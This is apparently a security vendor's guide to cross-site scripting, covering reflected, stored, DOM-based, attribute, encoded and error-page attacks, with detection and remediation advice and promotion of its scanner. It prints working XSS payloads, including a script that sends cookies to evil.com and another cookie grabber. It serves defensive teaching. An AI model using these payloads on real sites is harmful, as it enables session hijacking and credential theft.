What are common cross - site scripting (XSS) attack examples and how to detect them?

Decloak is an AI-powered web security intelligence platform that scans a site's HTTP/TLS posture, JavaScript, and third-party scripts to produce a report anyone can read. This guide is part of Decloak's library of practical, source-backed security guidance.

Key takeaways

• XSS comes in several flavors; each uses unsanitized user input to run JavaScript in a victim’s browser.
• Reflected, stored, DOM - based, attribute - based, encoded and error - page XSS are the most frequently observed patterns.
• Decloak’s free scan (Layer 4 JavaScript CVE scanning) flags vulnerable scripts, unsafe DOM manipulations and dangerous event - handler attributes.
• Fix XSS by sanitising input, using a strict Content - Security - Policy and validating output encoding.

What is reflected XSS and can you show a simple example?

Reflected XSS occurs when a server echoes a request parameter directly into the page without encoding, allowing an attacker - crafted URL to execute script code in the victim’s browser. For example, a malicious link like https://vulnerable.example/search?q=<script>alert(document.cookie)</script> injects a script payload that runs when the victim clicks the link and the server reflects the q value in the search results page.

To detect reflected XSS, inspect the HTML source of pages that display query parameters, and use a scanner such as Decloak’s free scan which checks for unescaped user - controlled data in the rendered output.

How does stored (persistent) XSS work and what does it look like?

Stored XSS happens when an attacker saves malicious JavaScript in a database - backed field (comment, profile, forum post) that is later rendered for every visitor. A typical payload is <script>fetch('https://evil.com/steal?c='+document.cookie)</script> placed in a comment. When any user loads the page, the script runs automatically, stealing cookies from all visitors.

Decloak’s Layer 4 scans the final HTML of each page and flags script tags that originate from user - generated content, helping you find persistent XSS before attackers can exploit it.

What is DOM - based XSS and how can it be triggered?

DOM - based XSS does not require a server round - trip; the vulnerability exists entirely in client - side JavaScript that writes untrusted data into the DOM. For instance, document.body.innerHTML = location.hash; will render the URL fragment directly. An attacker can craft a URL like https://vulnerable.example/#<img src=x onerror=alert(1)> so that the payload executes when the page loads.

To spot DOM - based XSS, search the JavaScript source for assignments to innerHTML, outerHTML, document.write or similar functions that use values from location, document.referrer or other uncontrolled sources. Decloak’s scan reports unsafe DOM manipulations detected during rendered - page analysis.

How can attribute - based XSS bypass simple script - tag filters?

Attribute - based XSS injects malicious code through HTML attributes such as onerror, onclick or onload. An example payload is <img src="nonexistent.jpg" onerror=alert(document.cookie)>. When the image fails to load, the onerror handler runs, executing arbitrary JavaScript.

Decloak’s scanner looks for event - handler attributes that contain JavaScript code and flags them as high - risk findings.

What does encoded or obfuscated XSS look like and why is it dangerous?

Encoded XSS hides the payload using HTML entities or UTF - 8 encodings, for example <IMG SRC=j&#X41vascript:alert('XSS')>. The browser decodes the entity to javascript: and runs the script, bypassing filters that only look for the literal word “script”.

Detection requires decoding entities before analysis. Decloak performs this step automatically when checking page source, so encoded payloads appear in the report.

Can you give a real - world cookie - grabber XSS example?

A classic cookie - grabber injects a script that sends document.cookie to an attacker - controlled server: <SCRIPT>var adr='../evil.php?c='+escape(document.cookie);</SCRIPT>. When the victim views the page, the cookie is exfiltrated, enabling session hijacking.

Decloak flags any script that accesses document.cookie in a context that could be user - controlled, alerting you to potential credential theft.

How does error - page XSS arise and what is a typical payload?

Error - page XSS occurs when an application prints the requested URL or error message without sanitisation. A vulnerable 404 handler might execute print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);. Visiting http://site/<script>alert(1)</script> injects the script into the error page output.

Scanning for error - page XSS involves requesting non - existent URLs and analysing the returned HTML. Decloak includes this check as part of its rendered - page network behaviour layer.

How can I test my own site for these XSS patterns?

1. Run a free Decloak scan on your domain - no account required, results appear in about 15 seconds.
2. Review the Layer 4 findings for script tags, unsafe DOM writes, event - handler attributes and decoded entity payloads.
3. Manually verify each finding by reproducing the payload in a controlled browser session.
4. Apply input validation, output encoding (e.g., OWASP ESAPI), and a strict Content - Security - Policy.
5. Re - run the scan to confirm the issues are resolved.

What are the next steps after finding XSS issues?

• Sanitise input: Use a whitelist of allowed characters for any data that ends up in HTML.
• Encode output: Apply HTML entity encoding for user - provided values before insertion into the DOM.
• Apply CSP: Restrict script execution to trusted sources and disable unsafe-inline.
• Update libraries: Ensure third - party JavaScript libraries are up - to - date; Decloak’s Retire.js database will alert you to known vulnerable versions.
• Retest: Run another Decloak scan to verify remediation.

Why does XSS still matter in 2024?

XSS remains one of the OWASP Top 10 vulnerabilities because every web page that accepts user input is a potential attack surface. Successful XSS can lead to credential theft, account takeover, ransomware deployment, or the injection of ransomware - dropping scripts. Early detection with automated tools like Decloak saves developers time and prevents attackers from gaining a foothold.

How does Decloak help you stay ahead of XSS?

Decloak’s free scan runs core checks on any URL in about 15 seconds, including Layer 4 JavaScript CVE scanning which:

• Detects known vulnerable libraries (e.g., outdated jQuery, Bootstrap).
• Flags dangerous patterns such as eval(), innerHTML sinks, and wildcard postMessage targets.
• Identifies unsafe event - handler attributes and encoded payloads. The scan produces a graded, shareable report with remediation guidance, so you can fix XSS issues before they are exploited.

Take action now: Run a free Decloak scan on your site, address any XSS findings, and then re - scan to confirm the fixes.